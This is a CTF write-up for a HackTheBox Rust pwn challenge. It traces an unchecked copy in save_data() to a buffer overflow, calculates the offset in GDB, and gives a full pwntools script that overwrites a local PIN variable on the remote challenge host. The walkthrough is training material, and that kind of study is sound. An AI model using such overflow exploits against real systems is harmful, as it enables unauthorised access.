Oxidized ROP
Oxidized ROP
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Our workshop is rapidly oxidizing and we want a statement on its state from every member of the team! > flag in /challenge/flag.txt
Solution Approach
Core idea: RUST code review. Local Variable Overwrite using unicode characters.
Steps
- In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.
BINARY PROTECTIONS
-
Noticed, the challenge author disclosed the source code. Hence no need to decompile the binary for now.
-
Upon reviewing the rust code, found a BOF vuln at the
save_data()function. -
Based on the snippet code above, we can conclude that
destis a mutable reference to an array ofu8with fixed size ofINPUT_SIZE--> 200 chars. -
Then it tries to copy characters from the
srcstring to thedestbuffer. However, the function does not check whether the length of thesrcstring exceeds the size of thedestbuffer before copying. -
This could lead to Buffer Overflow.
-
Next, upon reviewing other LOCs, seems our target is to modify the pin value to 123456. This function can be accessed at menu 2.
-
If we select the second option, we're not allowed to enter a value for the
login_pin. -
It's because a global variable named
PIN_ENTRY_ENABLEDos set to false at the beginning. However the pin still checked. -
So our objective is to utilize the overflow vuln to overwrite the value for local variable
login_pin. -
Reviewing the first menu, noticed a
read_user_input()usage, it's similiar togets()in C. Noticed thatinput_buffervariable is used as thesrcwhich the boundary is not checked. -
Another things to note in rustpwn, to modify the variable value in rust, we need to encode it so it has wider range of action.
-
Now let us identify the offset.
USING GDB
To identify the offset:
- Starts with send 8 A's then CTRL+C.
- Remembering PIE is enabled, find an address that ends with 11223344.
- Noticed our input not stored as 0x4141414141414141. Instead, each of them has a length of 4 bytes.
- At this condition the formula to calculate the offset is:
p (0x7fffffffdab0 - 0x7fffffffd918) / 4
- Let us send our payload remotely.
FULL SCRIPT
from pwn import *
exe = './oxidized-rop'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
### sh = process(exe)
sh = remote('94.237.63.83',51413)
padding = 102
### p = flat([
### asm('nop') * padding,
### chr(123456).encode()
### ])
p = cyclic(102) + chr(123456).encode()
sh.sendlineafter(b':', b'1')
sh.sendlineafter(b':', p)
sh.sendlineafter(b':', b'2')
### gdb.attach(sh)
sh.interactive()
- We've pwned it!
Flag
REDACTED
Lessons Learned
- RUST code review.
- Local Variable Overwrite using unicode characters.